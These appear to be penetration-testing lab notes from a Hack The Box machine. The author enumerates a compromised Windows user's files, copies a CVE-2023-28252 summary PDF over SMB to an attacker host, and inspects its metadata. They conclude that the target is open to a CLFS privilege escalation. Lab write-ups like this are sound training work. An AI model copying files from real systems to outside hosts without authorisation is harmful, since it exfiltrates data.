PDF Document


ps c:\Users\sam.emerson\Documents> ls
    directory: C:\Users\sam.emerson\Documents
 
 
Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a----         9/21/2023   9:18 AM          14158 CVE-2023-28252_Summary.pdf
-a----         9/26/2023   1:06 PM           1113 watchdog.ps1

Upon completing basic enumeration, I have come across a PDF file located in the home directory of the sam.emerson user

ps c:\Users\sam.emerson\Documents> copy .\CVE-2023-28252_Summary.pdf \\10.10.14.4\test\

I will transfer the PDF file to the Windows host over the existing SMB

CVE-2023-28252_Summary.pdf


The PDF file goes over a local privilege escalation vulnerability, CVE-2023-28252, that targets the Windows Common Log File System (CLFS) Driver Given the PDF file was in the target system, the target system might be vulnerable to it

Checking the MSRC regarding the vulnerability reveals the updates and it’s NOT included in those 7 hotfixes. This makes the target system vulnerable to it Moving on to [[Aero_Privilege_Escalation#[CVE-2023-28252](https //nvd.nist.gov/vuln/detail/CVE-2023-28252)|Privilege Escalation]] phase

Metadata


┌──(kali㉿kali)-[~/archive/htb/labs/aero]
└─$ exiftool CVE-2023-28252_Summary.pdf             
exiftool version number         : 12.67
file name                       : CVE-2023-28252_Summary.pdf
directory                       : .
file size                       : 14 kB
file modification date/time     : 2023:09:21 23:58:09+02:00
file access date/time           : 2024:01:16 13:25:27+01:00
file inode change date/time     : 2024:01:16 13:25:42+01:00
file permissions                : -rwxr-xr-x
file type                       : PDF
file type extension             : pdf
mime type                       : application/pdf
pdf version                     : 1.6
linearized                      : No
page count                      : 1
language                        : en-US
creator                         : Writer
producer                        : LibreOffice 7.4
create date                     : 2023:09:21 18:18:14+02:00